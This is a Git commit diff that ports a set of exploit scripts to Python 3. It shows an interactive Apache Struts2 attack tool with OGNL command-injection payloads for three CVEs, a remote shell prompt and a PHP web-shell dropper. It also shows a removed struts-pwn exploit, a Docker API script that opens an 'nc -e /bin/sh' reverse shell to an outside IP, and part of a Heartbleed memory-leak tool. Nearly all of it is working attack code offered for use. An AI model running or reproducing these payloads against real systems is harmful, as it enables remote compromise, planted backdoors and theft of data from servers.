Merge pull request #43 from cclauss/print-function

Use print() function in both Python 2 and Python 3
patch-1
Swissky 2019-02-19 21:01:14 +01:00 committed by GitHub
commit c14fe62d0a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
23 changed files with 393 additions and 529 deletions

View File

@ -1,13 +1,18 @@
#!/usr/bin/python #!/usr/bin/python
import urllib2 from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
from builtins import str
import urllib.request, urllib.error, urllib.parse
import time import time
import sys import sys
import os import os
import commands import subprocess
import requests import requests
import readline import readline
import urlparse import urllib.parse
RED = '\033[1;31m' RED = '\033[1;31m'
BLUE = '\033[94m' BLUE = '\033[94m'
@ -21,190 +26,190 @@ def cls():
os.system(['clear', 'cls'][os.name == 'nt']) os.system(['clear', 'cls'][os.name == 'nt'])
cls() cls()
logo = BLUE+''' logo = BLUE+'''
___ _____ ___ _ _ _____ ___ ___ _____ ___ _ _ _____ ___
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\ ( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
| (_(_) | | | (_) )| | | | | | | (_(_) | (_(_) | | | (_) )| | | | | | | (_(_)
`\__ \ | | | , / | | | | | | `\__ \ `\__ \ | | | , / | | | | | | `\__ \
( )_) | | | | |\ \ | (_) | | | ( )_) | ( )_) | | | | |\ \ | (_) | | | ( )_) |
`\____) (_) (_) (_)(_____) (_) `\____) `\____) (_) (_) (_)(_____) (_) `\____)
=[ Command Execution v3]= =[ Command Execution v3]=
By @s1kr10s By @s1kr10s
'''+ENDC '''+ENDC
print logo print(logo)
print " * Ejemplo: http(s)://www.victima.com/files.login\n" print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
host = raw_input(BOLD+" [+] HOST: "+ENDC) host = input(BOLD+" [+] HOST: "+ENDC)
if len(host) > 0: if len(host) > 0:
if host.find("https://") != -1 or host.find("http://") != -1: if host.find("https://") != -1 or host.find("http://") != -1:
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}" poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
def exploit(comando):
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploit
def exploit2(comando): def exploit(comando):
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}" exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploit2 return exploit
def exploit3(comando): def exploit2(comando):
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D" exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
return exploit3 return exploit2
def pwnd(shellfile): def exploit3(comando):
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
return exploitfile return exploit3
def validador(): def pwnd(shellfile):
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"] exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return arr_lin_win return exploitfile
#def reversepl(ip,port): def validador():
# print "perl" arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
return arr_lin_win
#def reversepy(ip,port): #def reversepl(ip,port):
# print "python" # print "perl"
# CVE-2013-2251 --------------------------------------------------------------------------------- #def reversepy(ip,port):
try: # print "python"
response = ''
response = urllib2.urlopen(host+poc)
except:
print RED+" Servidor no responde\n"+ENDC
exit(0)
print BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC # CVE-2013-2251 ---------------------------------------------------------------------------------
try:
response = ''
response = urllib.request.urlopen(host+poc)
except:
print(RED+" Servidor no responde\n"+ENDC)
exit(0)
if response.read().find("mamalo") != -1: print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
print RED+" [-] VULNERABLE"+ENDC
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) if response.read().find("mamalo") != -1:
#print BOLD+" * [SHELL REVERSA]"+ENDC print(RED+" [-] VULNERABLE"+ENDC)
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC owned = open('vulnsite.txt', 'a')
if opcion == 's': owned.write(str(host)+'\n')
print YELLOW+" [-] GET PROMPT...\n"+ENDC owned.close()
time.sleep(1)
print BOLD+" * [UPLOAD SHELL]"+ENDC
print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC
while 1: opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
separador = raw_input(GREEN+"Struts2@Shell_1:$ "+ENDC) #print BOLD+" * [SHELL REVERSA]"+ENDC
espacio = separador.split(' ') #print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
comando = "','".join(espacio) if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
if espacio[0] != 'reverse' and espacio[0] != 'pwnd': while 1:
shell = urllib2.urlopen(host+exploit("'"+str(comando)+"'")) separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
print "\n"+shell.read() espacio = separador.split(' ')
elif espacio[0] == 'pwnd': comando = "','".join(espacio)
pathsave=raw_input("path EJ:/tmp/: ")
if espacio[1] == 'php': if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'""" shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
urllib2.urlopen(host+pwnd(str(shellfile))) print("\n"+shell.read())
shell = urllib2.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'")) elif espacio[0] == 'pwnd':
if shell.read().find(pathsave+"status.php") != -1: pathsave=input("path EJ:/tmp/: ")
print BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC
else:
print BOLD+RED+"\nNo Create File :/\n"+ENDC
# CVE-2017-5638 --------------------------------------------------------------------------------- if espacio[1] == 'php':
print BLUE+" [-] NO VULNERABLE"+ENDC shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC urllib.request.urlopen(host+pwnd(str(shellfile)))
x = 0 shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
while x < len(validador()): if shell.read().find(pathsave+"status.php") != -1:
valida = validador()[x] print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
try: # CVE-2017-5638 ---------------------------------------------------------------------------------
req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))}) print(BLUE+" [-] NO VULNERABLE"+ENDC)
result = urllib2.urlopen(req).read() print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
x = 0
while x < len(validador()):
valida = validador()[x]
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: try:
print RED+" [-] VULNERABLE"+ENDC req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
owned = open('vulnsite.txt', 'a') result = urllib.request.urlopen(req).read()
owned.write(str(host)+'\n')
owned.close()
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
if opcion == 's': print(RED+" [-] VULNERABLE"+ENDC)
print YELLOW+" [-] GET PROMPT...\n"+ENDC owned = open('vulnsite.txt', 'a')
time.sleep(1) owned.write(str(host)+'\n')
owned.close()
while 1: opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
try: if opcion == 's':
separador = raw_input(GREEN+"\nStruts2@Shell_2:$ "+ENDC) print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))}) time.sleep(1)
result = urllib2.urlopen(req).read()
print "\n"+result
except:
exit(0)
else:
x = len(validador())
else:
print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)
except:
pass
x=x+1
# CVE-2018-11776 --------------------------------------------------------------------------------- while 1:
print BLUE+" [-] NO VULNERABLE"+ENDC try:
print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
x = 0 req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
while x < len(validador()): result = urllib.request.urlopen(req).read()
#Filtramos la url solo dominio print("\n"+result)
url = host.replace('#', '%23') except:
url = host.replace(' ', '%20') exit(0)
if ('://' not in url): else:
url = str("http://") + str(url) x = len(validador())
scheme = urlparse.urlparse(url).scheme else:
site = scheme + '://' + urlparse.urlparse(url).netloc print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
#Filtramos la url solo path # CVE-2018-11776 ---------------------------------------------------------------------------------
file_path = urlparse.urlparse(url).path print(BLUE+" [-] NO VULNERABLE"+ENDC)
if (file_path == ''): print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
file_path = '/' x = 0
while x < len(validador()):
valida = validador()[x] #Filtramos la url solo dominio
try: url = host.replace('#', '%23')
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text url = host.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
site = scheme + '://' + urllib.parse.urlparse(url).netloc
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: #Filtramos la url solo path
print RED+" [-] VULNERABLE"+ENDC file_path = urllib.parse.urlparse(url).path
owned = open('vulnsite.txt', 'a') if (file_path == ''):
owned.write(str(host)+'\n') file_path = '/'
owned.close()
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) valida = validador()[x]
if opcion == 's': try:
print YELLOW+" [-] GET PROMPT...\n"+ENDC result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
time.sleep(1)
print BOLD+" * [UPLOAD SHELL]"+ENDC
print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC
while 1: if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
separador = raw_input(GREEN+"Struts2@Shell_3:$ "+ENDC) print(RED+" [-] VULNERABLE"+ENDC)
espacio = separador.split(' ') owned = open('vulnsite.txt', 'a')
comando = "%20".join(espacio) owned.write(str(host)+'\n')
owned.close()
shell = urllib2.urlopen(host+exploit3(str(comando))) opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
print "\n"+shell.read() if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
else: time.sleep(1)
x = len(validador()) print(BOLD+" * [UPLOAD SHELL]"+ENDC)
exit(0) print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
else:
print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x) while 1:
except: separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
pass espacio = separador.split(' ')
x=x+1 comando = "%20".join(espacio)
else:
print RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC shell = urllib.request.urlopen(host+exploit3(str(comando)))
exit(0) print("\n"+shell.read())
else:
x = len(validador())
exit(0)
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
else:
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
exit(0)
else: else:
print RED+" Debe Ingresar una Url\n"+ENDC print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0) exit(0)

View File

@ -1,176 +0,0 @@
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://www.exploit-db.com/exploits/41570/
# https://www.seebug.org/vuldb/ssvid-92746
# *****************************************************
import sys
import random
import requests
import argparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: id)",
action='store',
default='id')
parser.add_argument("--check",
dest="do_check",
help="Check if a target is vulnerable.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_check = args.do_check if args.do_check else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
result = True
else:
result = False
except Exception as e:
print("EXCEPTION::::--> " + str(e))
result = False
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
if url:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except:
print('Error: There was an error in reading list file.')
exit(1)
for url in URLs_List:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)

View File

@ -8,6 +8,8 @@
# https://github.com/rapid7/metasploit-framework/pull/8924 # https://github.com/rapid7/metasploit-framework/pull/8924
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/ # https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
# ***************************************************** # *****************************************************
from __future__ import print_function
from builtins import str
import argparse import argparse
import requests import requests
import sys import sys

View File

@ -8,6 +8,11 @@
# https://github.com/jas502n/St2-057 # https://github.com/jas502n/St2-057
# ***************************************************** # *****************************************************
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import str
from builtins import range
import argparse import argparse
import random import random
import requests import requests
@ -15,7 +20,7 @@ import sys
try: try:
from urllib import parse as urlparse from urllib import parse as urlparse
except ImportError: except ImportError:
import urlparse import urllib.parse
# Disable SSL warnings # Disable SSL warnings
try: try:
@ -77,13 +82,13 @@ def parse_url(url):
if ('://' not in url): if ('://' not in url):
url = str("http://") + str(url) url = str("http://") + str(url)
scheme = urlparse.urlparse(url).scheme scheme = urllib.parse.urlparse(url).scheme
# Site: http://example.com # Site: http://example.com
site = scheme + '://' + urlparse.urlparse(url).netloc site = scheme + '://' + urllib.parse.urlparse(url).netloc
# FilePath: /demo/struts2-showcase/index.action # FilePath: /demo/struts2-showcase/index.action
file_path = urlparse.urlparse(url).path file_path = urllib.parse.urlparse(url).path
if (file_path == ''): if (file_path == ''):
file_path = '/' file_path = '/'
@ -154,7 +159,7 @@ def check(url):
except Exception as e: except Exception as e:
print("EXCEPTION::::--> " + str(e)) print("EXCEPTION::::--> " + str(e))
continue continue
if "Location" in resp.headers.keys(): if "Location" in list(resp.headers.keys()):
if str(multiplication_value) in resp.headers['Location']: if str(multiplication_value) in resp.headers['Location']:
print("[*] Status: Vulnerable!") print("[*] Status: Vulnerable!")
return(injection_point) return(injection_point)

View File

@ -1,3 +1,4 @@
from __future__ import print_function
import requests import requests
import logging import logging
import json import json
@ -23,7 +24,7 @@ if r.json:
for container in r.json(): for container in r.json():
container_id = container['Id'] container_id = container['Id']
container_name = container['Names'][0].replace('/','') container_name = container['Names'][0].replace('/','')
print(container_id, container_name) print((container_id, container_name))
# Step 2 - Prepare command # Step 2 - Prepare command
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]' cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'

View File

@ -4,6 +4,9 @@
# The author disclaims copyright to this source code. # The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
from __future__ import print_function
from builtins import str
from builtins import range
import sys import sys
import struct import struct
import socket import socket
@ -61,12 +64,12 @@ def hexdump(s, dumpf, quiet):
dump.write(s) dump.write(s)
dump.close() dump.close()
if quiet: return if quiet: return
for b in xrange(0, len(s), 16): for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]] lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin) hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat) print(' %04x: %-48s %s' % (b, hxdat, pdat))
print print()
def recvall(s, length, timeout=5): def recvall(s, length, timeout=5):
endtime = time.time() + timeout endtime = time.time() + timeout
@ -92,57 +95,57 @@ def recvall(s, length, timeout=5):
def recvmsg(s): def recvmsg(s):
hdr = recvall(s, 5) hdr = recvall(s, 5)
if hdr is None: if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection' print('Unexpected EOF receiving record header - server closed connection')
return None, None, None return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr) typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10) pay = recvall(s, ln, 10)
if pay is None: if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection' print('Unexpected EOF receiving record payload - server closed connection')
return None, None, None return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay return typ, ver, pay
def hit_hb(s, dumpf, host, quiet): def hit_hb(s, dumpf, host, quiet):
while True: while True:
typ, ver, pay = recvmsg(s) typ, ver, pay = recvmsg(s)
if typ is None: if typ is None:
print 'No heartbeat response received from '+host+', server likely not vulnerable' print('No heartbeat response received from '+host+', server likely not vulnerable')
return False return False
if typ == 24: if typ == 24:
if not quiet: print 'Received heartbeat response:' if not quiet: print('Received heartbeat response:')
hexdump(pay, dumpf, quiet) hexdump(pay, dumpf, quiet)
if len(pay) > 3: if len(pay) > 3:
print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!' print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
else: else:
print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.' print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
return True return True
if typ == 21: if typ == 21:
if not quiet: print 'Received alert:' if not quiet: print('Received alert:')
hexdump(pay, dumpf, quiet) hexdump(pay, dumpf, quiet)
print 'Server '+ host +' returned error, likely not vulnerable' print('Server '+ host +' returned error, likely not vulnerable')
return False return False
def connect(host, port, quiet): def connect(host, port, quiet):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if not quiet: print 'Connecting...' if not quiet: print('Connecting...')
sys.stdout.flush() sys.stdout.flush()
s.connect((host, port)) s.connect((host, port))
return s return s
def tls(s, quiet): def tls(s, quiet):
if not quiet: print 'Sending Client Hello...' if not quiet: print('Sending Client Hello...')
sys.stdout.flush() sys.stdout.flush()
s.send(hello) s.send(hello)
if not quiet: print 'Waiting for Server Hello...' if not quiet: print('Waiting for Server Hello...')
sys.stdout.flush() sys.stdout.flush()
def parseresp(s): def parseresp(s):
while True: while True:
typ, ver, pay = recvmsg(s) typ, ver, pay = recvmsg(s)
if typ == None: if typ == None:
print 'Server closed connection without sending Server Hello.' print('Server closed connection without sending Server Hello.')
return 0 return 0
# Look for server hello done message. # Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E: if typ == 22 and ord(pay[0]) == 0x0E:
@ -156,10 +159,10 @@ def check(host, port, dumpf, quiet, starttls):
s.ehlo() s.ehlo()
s.starttls() s.starttls()
except smtplib.SMTPException: except smtplib.SMTPException:
print 'STARTTLS not supported...' print('STARTTLS not supported...')
s.quit() s.quit()
return False return False
print 'STARTTLS supported...' print('STARTTLS supported...')
s.quit() s.quit()
s = connect(host, port, quiet) s = connect(host, port, quiet)
s.settimeout(1) s.settimeout(1)
@ -170,7 +173,7 @@ def check(host, port, dumpf, quiet, starttls):
